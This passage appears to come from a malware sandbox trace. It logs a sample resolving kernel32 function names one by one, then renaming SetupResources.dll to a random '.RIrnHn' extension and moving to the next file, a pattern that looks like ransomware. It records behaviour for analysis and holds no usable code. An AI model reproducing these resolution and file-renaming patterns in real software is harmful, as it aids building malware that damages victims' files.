returned="CheckForReadOnlyResourceFilter" [0128.588] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0128.588] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0128.588] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0128.588] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0128.588] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0128.588] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0128.588] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0128.588] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0128.588] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0128.588] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0128.588] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0128.588] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0128.588] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0128.588] lstrlenA (lpString="CLOSESTATE") returned 10 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0128.588] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0128.588] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0128.588] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0128.589] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0128.589] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0128.589] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0128.589] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0128.589] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0128.589] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0128.589] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0128.589] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0128.589] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0128.589] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0128.589] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0128.589] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0128.589] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0128.589] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0128.589] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0128.589] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0128.589] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0128.589] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0128.589] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0128.589] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0128.589] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0128.589] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0128.590] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0128.590] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0128.590] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0128.590] lstrlenA (lpString="COPYCONTEXT") returned 11 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0128.590] lstrlenA (lpString="COPYFILE2") returned 9 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0128.590] lstrlenA (lpString="COPYFILEA") returned 9 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0128.590] lstrlenA (lpString="COPYFILEEXA") returned 11 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0128.590] lstrlenA (lpString="COPYFILEEXW") returned 11 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0128.590] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0128.590] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0128.590] lstrlenA (lpString="COPYFILEW") returned 9 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0128.590] lstrlenA (lpString="COPYLZFILE") returned 10 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0128.590] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0128.590] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0128.590] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0128.590] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0128.590] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0128.590] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0128.590] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0128.590] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0128.590] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0128.590] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0128.591] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0128.591] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0128.591] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0128.591] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0128.591] lstrlenA (lpString="CREATEEVENTA") returned 12 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0128.591] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0128.591] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0128.591] lstrlenA (lpString="CREATEEVENTW") returned 12 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0128.591] lstrlenA (lpString="CREATEFIBER") returned 11 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0128.591] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0128.591] lstrlenA (lpString="CREATEFILE2") returned 11 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0128.591] lstrlenA (lpString="CREATEFILEA") returned 11 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0128.591] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0128.591] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0128.591] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0128.591] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0128.591] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0128.591] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0128.591] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0128.591] lstrlenA (lpString="CREATEFILEW") returned 11 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0128.591] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0128.591] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0128.592] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0128.592] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0128.592] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0128.592] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0128.592] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0128.592] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0128.592] lstrlenA (lpString="CREATEJOBSET") returned 12 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0128.592] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0128.592] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0128.592] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0128.592] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0128.592] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0128.592] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0128.592] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0128.592] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0128.592] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0128.592] lstrlenA (lpString="CREATEPIPE") returned 10 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0128.592] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0128.592] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0128.593] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0128.593] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0128.593] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0128.593] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0128.593] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0128.593] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0128.593] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0128.593] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0128.593] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0128.593] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0128.593] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0128.593] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0128.593] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0128.593] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0128.593] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0128.593] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0128.594] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0128.594] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0128.594] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0128.594] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0128.594] lstrlenA (lpString="CREATETHREAD") returned 12 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0128.594] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0128.594] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0128.594] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0128.594] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0128.594] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0128.594] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0128.594] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0128.594] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0128.595] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.RIrnHn") returned 52 [0128.595] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.RIrnHn" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.rirnhn"), dwFlags=0x0) returned 1 [0128.627] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.627] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.628] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.628] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, 